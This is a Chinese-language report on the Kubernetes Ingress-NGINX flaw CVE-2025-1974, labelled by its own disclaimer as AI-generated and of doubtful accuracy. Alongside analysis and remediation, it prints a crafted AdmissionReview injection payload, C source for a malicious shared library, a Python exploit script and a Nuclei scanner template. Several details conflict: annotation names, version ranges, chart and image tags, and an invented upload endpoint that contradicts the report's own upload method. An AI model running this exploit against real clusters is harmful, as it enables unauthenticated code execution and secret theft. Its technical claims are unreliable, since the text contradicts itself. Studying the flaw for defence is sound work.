CVE-2025-1974 (IngressNightmare) 研究报告(AI 生成测试)
注意
本报告由 AI 生成,请注意辨别其中的真实性。如擅自测试文章内容造成一切后果与作者无关!
本文章用途仅作用于展示 AI 生成效果,并不做实际参考价值!
安全研究报告:CVE-2025-1974 (IngressNightmare)
日期: 2025年4月3日
作者: 安全研究团队
分类: 严重漏洞
执行摘要
本报告详细介绍了CVE-2025-1974,也被称为"IngressNightmare",这是Kubernetes Ingress-NGINX Controller中的一个严重漏洞,允许未经身份验证的远程代码执行(RCE)。该漏洞由Wiz Research团队于2024年底发现并于2025年3月公开披露,影响了Kubernetes环境中最广泛使用的ingress控制器之一。其CVSS评分为9.8,代表了一个严重的安全风险,可能导致集群完全被攻破。
该漏洞源于admission controller组件中的不当输入验证,允许攻击者注入任意NGINX配置指令,从而导致代码执行。本报告提供了对该漏洞的详细分析,包括其影响、利用方法、修复步骤,以及设置测试环境以复现和理解该漏洞的说明。
1. 漏洞详情
1.1 概述
- CVE ID: CVE-2025-1974
- 漏洞类型: 未经身份验证的远程代码执行
- CVSS评分: 9.8(严重)- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- 受影响组件: Ingress-NGINX Controller Admission Controller
- 受影响版本:
- Ingress-NGINX Controller 1.11.x 版本(1.11.5之前)
- Ingress-NGINX Controller 1.11.0以下版本
- 修复版本:
- Ingress-NGINX Controller 1.12.1及更高版本
- Ingress-NGINX Controller 1.11.5及更高版本
- 披露日期: 2025年3月24日
1.2 背景
Ingress-NGINX Controller是Kubernetes最流行的ingress控制器之一,在GitHub上拥有超过18,100颗星。它作为Kubernetes生态系统中的关键组件,充当外部流量与Kubernetes集群内部运行的服务之间的网关。
在Kubernetes中,Ingress是一个API对象,用于管理对集群内服务的外部访问,通常通过HTTP/HTTPS。Ingress资源本身如果没有Ingress控制器就无法发挥作用 - Ingress控制器是解释Ingress资源规范并配置实际路由的组件。Ingress-NGINX Controller通过使用NGINX(最广泛使用的反向代理和负载均衡器之一)实现Ingress规范来履行这一角色。
2. 技术分析
2.1 漏洞机制
CVE-2025-1974是Ingress-NGINX Controller的admission controller组件中的一个严重漏洞。admission controller旨在验证传入的ingress对象,确保生成的NGINX配置有效。默认情况下,这些admission controller可以在没有身份验证的情况下通过网络访问,使其成为极具吸引力的攻击向量。
当控制器处理传入的ingress对象时,漏洞发生在验证阶段:
- admission controller接收带有特制注解的ingress对象
- 在处理这些注解(特别是
auth-url注解)时,控制器没有正确地净化输入 - 恶意注解值被合并到NGINX配置中
- 在使用
nginx -t进行验证期间,注入的配置可能导致代码执行
2.2 从配置注入到RCE
从配置注入到远程代码执行的过程利用了NGINX配置验证过程中的弱点:
- 最初,研究人员探索了
load_module指令,该指令允许从文件系统加载共享库 - 由于此指令只能在NGINX配置的开头使用,因此与注入点不兼容
- 进一步调查发现了
ssl_engine指令,它是OpenSSL模块的一部分,也可以加载共享库 - 与
load_module不同,ssl_engine可以在配置文件中的任何位置使用 - 通过通过恶意注解注入
ssl_engine指令,攻击者可以加载任意共享库
2.3 上传共享库
为了实现完全的RCE,攻击者需要在pod的文件系统上放置一个共享库:
- Ingress-NGINX pod还运行NGINX实例本身,监听80或443端口
- 通过向该实例发送特制的HTTP请求,攻击者可以利用NGINX的客户端主体缓冲区将恶意共享库上传到文件系统
- 一旦共享库被上传并且恶意配置被注入,
ssl_engine指令在验证阶段加载该库 - 共享库中的代码将以Ingress-NGINX控制器pod的权限执行
3. 影响评估
3.1 严重性
该漏洞的影响之所以严重,有几个原因:
- 未经身份验证的访问: 该漏洞可以在没有身份验证的情况下被利用,因为admission controller通常在没有适当身份验证机制的情况下暴露
- 远程代码执行: 成功利用导致在Ingress-NGINX控制器pod的上下文中执行任意代码
- 权限提升: Ingress-NGINX控制器通常可以访问敏感资源,包括跨命名空间的Kubernetes secrets
- 集群攻破: 攻击者可能获得对Kubernetes集群中跨命名空间的所有secrets的访问权限,导致完全接管集群
3.2 受影响组织
运行带有易受攻击版本的Ingress-NGINX Controller的Kubernetes集群的组织面临风险。这包括:
- 提供托管Kubernetes服务的云服务提供商
- 在生产环境中运行Kubernetes的企业组织
- 使用Kubernetes的开发和测试环境
- 任何部署Ingress-NGINX Controller用于路由外部流量的环境
4. 利用方法
4.1 利用过程
CVE-2025-1974的利用涉及以下步骤:
步骤1:识别易受攻击的集群
攻击者首先识别运行易受攻击版本的Ingress-NGINX Controller的集群。这可以通过以下方式完成:
kubectl get pods --all-namespaces --selector app.kubernetes.io/name=ingress-nginx
然后检查镜像版本以确定它是否易受攻击(1.11.5或1.12.1之前的版本)。
步骤2:制作恶意的Admission Review请求
攻击者创建一个特制的AdmissionReview请求,其中包含带有恶意auth-url注解的ingress对象:
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a5",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "test-ingress",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "test-ingress",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"nginx.ingress.kubernetes.io/rewrite-target": "/",
"nginx.ingress.kubernetes.io/auth-url": "http://example.com#;}}}\nssl_engine /path/to/shared-library.so;events {\nserver { location /aa { #"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.local",
"http": {
"paths": [
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
这个payload的关键部分是auth-url注解,其中包含NGINX配置注入。
步骤3:上传恶意共享库
同时,攻击者需要将恶意共享库上传到pod的文件系统:
- 创建包含要执行的代码的恶意共享库(.so文件)
- 向同一pod中运行的NGINX实例发送大型HTTP POST请求
- 由于其大小,请求主体将被缓冲到磁盘
- 然后攻击者可以使用
ssl_engine指令引用此文件
步骤4:执行Payload
当admission controller处理恶意ingress对象时,它将:
- 生成包含注入指令的NGINX配置
- 使用
nginx -t验证配置 - 在验证期间,
ssl_engine指令将加载恶意共享库 - 共享库中的代码将以Ingress-NGINX控制器pod的权限执行
4.2 检测方法
组织可以使用以下方法检测利用此漏洞的尝试:
- 网络监控: 监控对admission controller端点(通常在8443端口)的可疑请求
- 日志分析: 查找Ingress-NGINX控制器日志中与NGINX配置验证相关的异常错误消息
- Nuclei模板: 使用提供的Nuclei模板扫描易受攻击的实例:
id: CVE-2025-1974
info:
name: Ingress-Nginx Controller - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
A security issue was discovered in ingress-nginx where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller
impact: |
Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
remediation: |
Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
reference:
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
- https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
- https://nvd.nist.gov/vuln/detail/CVE-2025-1974
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-653
cve-id: CVE-2025-1974
metadata:
verified: true
max-request: 1
shodan-query: ssl:"ingress-nginx" port:8443
tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a6",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "test-{{randstr}}",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "test-{{randstr}}",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com#;load_module test;\n"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "{{randstr}}",
"http": {
"paths": [
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
matchers:
- type: word
part: body
words:
- 'AdmissionReview'
- 'directive is not allowed here'
- 'load_module'
condition: and
5. 修复步骤
5.1 立即行动
-
更新Ingress-NGINX Controller:
- 升级到Ingress-NGINX Controller 1.12.1或更高版本
- 或者,升级到Ingress-NGINX Controller 1.11.5或更高版本
-
实施网络策略:
- 限制对admission controller端点(通常在8443端口)的访问
- 确保只有Kubernetes API Server可以访问admission controller
-
监控利用尝试:
- 实施检测机制以识别潜在的利用尝试
- 审查日志中与admission controller相关的可疑活动
5.2 长期缓解措施
-
定期更新:
- 建立定期更新Kubernetes组件(包括ingress控制器)的流程
- 订阅安全公告,及时了解新漏洞信息
-
安全评估:
- 对Kubernetes集群进行定期安全评估
- 使用Nuclei等工具扫描已知漏洞
-
纵深防御:
- 实施多层安全控制
- 遵循所有Kubernetes组件的最小权限原则
6. 设置测试环境
本节提供了设置Kubernetes环境以复现和理解CVE-2025-1974漏洞的说明,用于教育和测试目的。
6.1 先决条件
- Docker Desktop或等效容器运行时
- kubectl命令行工具
- 用于本地Kubernetes集群的Minikube或kind
- Helm包管理器
6.2 设置Minikube
-
安装Minikube:
# 对于macOS brew install minikube # 对于Linux curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 sudo install minikube-linux-amd64 /usr/local/bin/minikube -
启动Minikube:
minikube start --kubernetes-version=v1.24.0 -
验证安装:
kubectl get nodes
6.3 安装易受攻击的Ingress-NGINX Controller
-
添加Ingress-NGINX Helm仓库:
helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx helm repo update -
安装易受攻击版本的Ingress-NGINX Controller:
# 安装1.11.0版本(易受CVE-2025-1974攻击) helm install ingress-nginx ingress-nginx/ingress-nginx \ --version 4.4.0 \ --namespace ingress-nginx \ --create-namespace \ --set controller.image.tag=1.11.0 -
验证安装:
kubectl get pods -n ingress-nginx -
暴露admission controller:
kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller-admission 8443:443
6.4 测试漏洞
-
创建恶意共享库(仅用于演示目的):
// malicious.c #include <stdio.h> #include <stdlib.h> __attribute__((constructor)) void init() { system("id > /tmp/pwned"); } -
编译共享库:
gcc -shared -fPIC -o malicious.so malicious.c -
创建脚本上传共享库并发送恶意admission review请求:
import requests import json # 上传共享库 with open('malicious.so', 'rb') as f: files = {'file': f} response = requests.post('http://localhost:8080/upload', files=files) # 发送恶意admission review请求 payload = { "kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": { "uid": "d48aa397-c414-4fb2-a2b0-b28187daf8a5", "kind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "resource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "requestKind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "requestResource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "name": "test-ingress", "namespace": "default", "operation": "CREATE", "userInfo": {}, "object": { "kind": "Ingress", "apiVersion": "networking.k8s.io/v1", "metadata": { "name": "test-ingress", "namespace": "default", "creationTimestamp": null, "annotations": { "nginx.ingress.kubernetes.io/rewrite-target": "/", "nginx.ingress.kubernetes.io/auth-url": "http://example.com#;}}}\nssl_engine /tmp/malicious.so;events {\nserver { location /aa { #" } }, "spec": { "ingressClassName": "nginx", "rules": [ { "host": "test.local", "http": { "paths": [] } } ] }, "status": { "loadBalancer": {} } }, "oldObject": null, "dryRun": true, "options": { "kind": "CreateOptions", "apiVersion": "meta.k8s.io/v1" } } } headers = {'Content-Type': 'application/json'} response = requests.post('https://localhost:8443', json=payload, headers=headers, verify=False) print(response.text) -
运行脚本:
python3 exploit.py -
验证利用:
kubectl exec -it -n ingress-nginx deploy/ingress-nginx-controller -- cat /tmp/pwned
6.5 清理
-
删除Ingress-NGINX部署:
helm uninstall ingress-nginx -n ingress-nginx -
停止Minikube:
minikube stop
7. 结论
CVE-2025-1974 (IngressNightmare)代表了Kubernetes生态系统中的一个严重安全漏洞,影响了最广泛使用的ingress控制器之一。该漏洞允许未经身份验证的远程代码执行,可能导致集群完全被攻破。
运行带有Ingress-NGINX Controller的Kubernetes集群的组织应立即更新到已修补版本(1.12.1+或1.11.5+),并实施额外的安全控制来保护其环境。定期安全评估和及时修补对于维护Kubernetes部署的安全性至关重要。
本研究报告提供了对该漏洞的全面分析,包括其影响、利用方法、修复步骤,以及设置测试环境的说明。通过了解此漏洞的技术细节,安全团队可以更好地保护其Kubernetes环境免受未来类似威胁的影响。

浙公网安备 33010602011771号